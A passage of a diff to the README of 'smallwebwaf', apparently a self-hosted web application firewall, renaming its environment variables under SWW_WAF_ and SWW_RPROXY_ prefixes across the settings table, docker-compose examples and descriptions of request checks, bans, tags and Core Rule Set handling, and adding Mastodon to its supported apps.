| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||||
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||||
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||||
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||||
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||||
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||||
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||||
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||||
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||||
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||||
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||||
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||||
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||||
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||||
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||||
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||||
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||||
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||||
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||||
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||||
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||||
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||||
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||||
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||||
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||||
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||||
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||||
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||||
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||||
|
|
||||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||||
full, and the limits that are fixed rather than settings.
|
full, and the limits that are fixed rather than settings.
|
||||||
@@ -363,8 +365,8 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
|
||||||
SWRP_UPSTREAM_URL: http://app:8081
|
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -399,8 +401,8 @@ services:
|
|||||||
rproxy:
|
rproxy:
|
||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
|
||||||
SWRP_UPSTREAM_URL: http://app:8081
|
SWW_RPROXY_UPSTREAM_URL: http://app:8081
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -409,22 +411,22 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: discriminator
|
SWW_COMMAND: discriminator
|
||||||
# Monitoring skips every check.
|
# Monitoring skips every check.
|
||||||
SWW_ALLOW_NETS: 192.0.2.10
|
SWW_WAF_ALLOW_NETS: 192.0.2.10
|
||||||
# The office and the automation host are never rate limited.
|
# The office and the automation host are never rate limited.
|
||||||
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
||||||
# A netblock that sends nothing wanted.
|
# A netblock that sends nothing wanted.
|
||||||
SWW_DENY_NETS: 198.51.100.128/25
|
SWW_WAF_DENY_NETS: 198.51.100.128/25
|
||||||
# Tighter limits for everyone else: a small static site.
|
# Tighter limits for everyone else: a small static site.
|
||||||
SWW_RATE_LIMIT_PER_MINUTE: "60"
|
SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
|
||||||
SWW_RATE_LIMIT_PER_HOUR: "600"
|
SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
|
||||||
SWW_RATE_LIMIT_PER_DAY: "3000"
|
SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
|
||||||
# Hosting networks and one country get a share of those limits.
|
# Hosting networks and one country get a share of those limits.
|
||||||
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
|
||||||
# Paths only scanners ask for; one request bans the client.
|
# Paths only scanners ask for; one request bans the client.
|
||||||
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
||||||
# Answer a refused client with 429 rather than 403.
|
# Answer a refused client with 429 rather than 403.
|
||||||
SWW_BAN_RESPONSE: "429"
|
SWW_WAF_BAN_RESPONSE: "429"
|
||||||
SWW_LIMIT_BAN_DURATION: 30m
|
SWW_WAF_LIMIT_BAN_DURATION: 30m
|
||||||
volumes:
|
volumes:
|
||||||
- discriminator-state:/var/lib/sww
|
- discriminator-state:/var/lib/sww
|
||||||
|
|
||||||
@@ -450,9 +452,9 @@ services:
|
|||||||
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
|
||||||
build: ./app
|
build: ./app
|
||||||
environment:
|
environment:
|
||||||
SWRP_WAF_BACKEND: http://discriminator:8080
|
SWW_RPROXY_WAF_BACKEND: http://discriminator:8080
|
||||||
# Answer 503 rather than pass a request on while discriminator is down.
|
# Answer 503 rather than pass a request on while discriminator is down.
|
||||||
SWRP_DEFAULT_DISPOSITION: deny
|
SWW_RPROXY_DEFAULT_DISPOSITION: deny
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
|
|
||||||
@@ -460,16 +462,16 @@ services:
|
|||||||
image: smallwebwaf
|
image: smallwebwaf
|
||||||
environment:
|
environment:
|
||||||
SWW_COMMAND: discriminator
|
SWW_COMMAND: discriminator
|
||||||
SWW_INSTANCE_NAME: fsn1/discriminator
|
SWW_WAF_INSTANCE_NAME: fsn1/discriminator
|
||||||
# Refuse nothing yet; log what enforce mode would have done.
|
# Refuse nothing yet; log what enforce mode would have done.
|
||||||
SWW_MODE: observe
|
SWW_WAF_MODE: observe
|
||||||
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
# Look addresses up in a local IPinfo Lite database, never GeoJS.
|
||||||
SWW_LOOKUP_SOURCE: file
|
SWW_WAF_LOOKUP_SOURCE: file
|
||||||
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
|
||||||
# Alerts to an ntfy topic, with its token read from a file.
|
# Alerts to an ntfy topic, with its token read from a file.
|
||||||
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
|
||||||
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
||||||
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
|
||||||
volumes:
|
volumes:
|
||||||
- discriminator-state:/var/lib/sww
|
- discriminator-state:/var/lib/sww
|
||||||
- /srv/ipinfo:/var/lib/ipinfo:ro
|
- /srv/ipinfo:/var/lib/ipinfo:ro
|
||||||
@@ -506,18 +508,18 @@ of the request reaches the app.
|
|||||||
|
|
||||||
1. The health check, `GET /_sww/healthz`, is answered at once.
|
1. The health check, `GET /_sww/healthz`, is answered at once.
|
||||||
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
2. The visitor's address is worked out from `X-Forwarded-For`, believed only
|
||||||
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
|
from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request
|
||||||
the visitor sent it, with the first 64 KiB of its body.
|
as the visitor sent it, with the first 64 KiB of its body.
|
||||||
|
|
||||||
`discriminator` takes the checks:
|
`discriminator` takes the checks:
|
||||||
|
|
||||||
3. The tag lists.
|
3. The tag lists.
|
||||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
7. The country list.
|
7. The country list.
|
||||||
8. The reputation sources.
|
8. The reputation sources.
|
||||||
9. The tag refusals of `SWW_TAG_DENY`.
|
9. The tag refusals of `SWW_WAF_TAG_DENY`.
|
||||||
10. The client's limit percentage, from its tags, its AS number, its country or
|
10. The client's limit percentage, from its tags, its AS number, its country or
|
||||||
a reputation hit.
|
a reputation hit.
|
||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
@@ -533,23 +535,24 @@ of the request reaches the app.
|
|||||||
17. The request is passed to the app, streaming.
|
17. The request is passed to the app, streaming.
|
||||||
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
18. After the answer, `rproxy` sends `discriminator` a report with the status
|
||||||
and the body bytes each way. For an allowed request, `discriminator` counts
|
and the body bytes each way. For an allowed request, `discriminator` counts
|
||||||
the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
|
the bytes `SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the
|
||||||
they take it past one, and adds the request to the client's history.
|
client if they take it past one, and adds the request to the client's
|
||||||
|
history.
|
||||||
|
|
||||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
|
||||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
|
||||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
|
||||||
request over the header limits of step 14 is answered `431`, and bans nobody
|
instead. A request over the header limits of step 14 is answered `431`, and bans
|
||||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
|
||||||
status for a size or time limit, such as `413` for a body too large.
|
and the status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
### Clients and bans
|
### Clients and bans
|
||||||
|
|
||||||
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`,
|
- A client is one IPv4 address or one IPv6 netblock of
|
||||||
since one abuser usually controls a whole /64.
|
`SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
|
||||||
- Each limit is counted over a sliding window with a few integers per client.
|
- Each limit is counted over a sliding window with a few integers per client.
|
||||||
The table of clients and the table of bans each have a bound
|
The table of clients and the table of bans each have a bound
|
||||||
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too.
|
(`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
|
||||||
- A ban refuses every request from its netblock until it ends. Requests refused
|
- A ban refuses every request from its netblock until it ends. Requests refused
|
||||||
under a ban count toward no limit. A permanent ban ends only when an admin
|
under a ban count toward no limit. A permanent ban ends only when an admin
|
||||||
lifts it.
|
lifts it.
|
||||||
@@ -564,41 +567,42 @@ Each request gets tags from what `discriminator` knows of its client, written in
|
|||||||
the `tags` field of its log line:
|
the `tags` field of its log line:
|
||||||
|
|
||||||
- `asn=<number>` and `country=<code>`, from the lookup;
|
- `asn=<number>` and `country=<code>`, from the lookup;
|
||||||
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
|
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
|
||||||
or `vpn=mullvad`;
|
`torexit` or `vpn=mullvad`;
|
||||||
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
|
||||||
the client;
|
the client;
|
||||||
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
|
||||||
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
|
||||||
`SWW_ROUTEWATCH_URL` is set.
|
`SWW_WAF_ROUTEWATCH_URL` is set.
|
||||||
|
|
||||||
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a
|
`SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
|
||||||
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
||||||
|
|
||||||
### Attack detection
|
### Attack detection
|
||||||
|
|
||||||
- The Core Rule Set reads the method, the URL with its query string, and the
|
- The Core Rule Set reads the method, the URL with its query string, and the
|
||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
|
||||||
rules take for attacks.
|
carry what people write and publish, which the rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in eleven ways so that ordinary
|
- `smallwebwaf` changes the Core Rule Set in twelve ways so that ordinary
|
||||||
requests get through to a code forge, to WordPress, to Drupal and to
|
requests get through to the apps listed below. These requests include git over
|
||||||
MediaWiki. They include git over HTTP and sign-in through Git Credential
|
HTTP and sign-in through Git Credential Manager on a code forge, and saving a
|
||||||
Manager on a code forge, and saving a post from the block editor on WordPress.
|
post from the block editor on WordPress. On gitea's own paths, its searches,
|
||||||
On gitea's own paths, its searches, file names and branch names get through
|
file names and branch names get through too. On WordPress's own paths, its
|
||||||
too. On WordPress's own paths, its searches, names and file names do. On
|
searches, names and file names do. On Drupal's own paths, the page to return
|
||||||
Drupal's own paths, the page to return to, its searches and its names get
|
to, its searches and its names get through too. On MediaWiki's own paths, its
|
||||||
through too. On MediaWiki's own paths, its searches, page titles, names and
|
searches, page titles, names and wikitext do. On Mastodon's own paths, its
|
||||||
wikitext do. No setting undoes the changes; "Attack detection" in
|
searches, names, posts and deliveries from other servers do. No setting undoes
|
||||||
[`SPEC.md`](SPEC.md) lists them.
|
the changes; "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
- These apps work out of the box at the default settings, and their recorded
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
ordinary requests pass the Core Rule Set:
|
ordinary requests pass the Core Rule Set:
|
||||||
- gitea;
|
- gitea;
|
||||||
- WordPress;
|
- WordPress;
|
||||||
- Drupal;
|
- Drupal;
|
||||||
- MediaWiki.
|
- MediaWiki;
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- Mastodon.
|
||||||
fields or paths.
|
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
|
||||||
|
own fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
while `discriminator` runs. The image ships one file of probes no real visitor
|
while `discriminator` runs. The image ships one file of probes no real visitor
|
||||||
sends (see [`docs/rules.md`](docs/rules.md)).
|
sends (see [`docs/rules.md`](docs/rules.md)).
|
||||||
@@ -606,7 +610,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
### State files
|
### State files
|
||||||
|
|
||||||
`discriminator` keeps everything in memory, and the five JSON files in
|
`discriminator` keeps everything in memory, and the five JSON files in
|
||||||
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
`SWW_WAF_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
|
||||||
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
`reputation.json` and `alerts.json`. Each is written whole, to a temporary file
|
||||||
renamed over the real one, so a crash leaves a complete file. `discriminator`
|
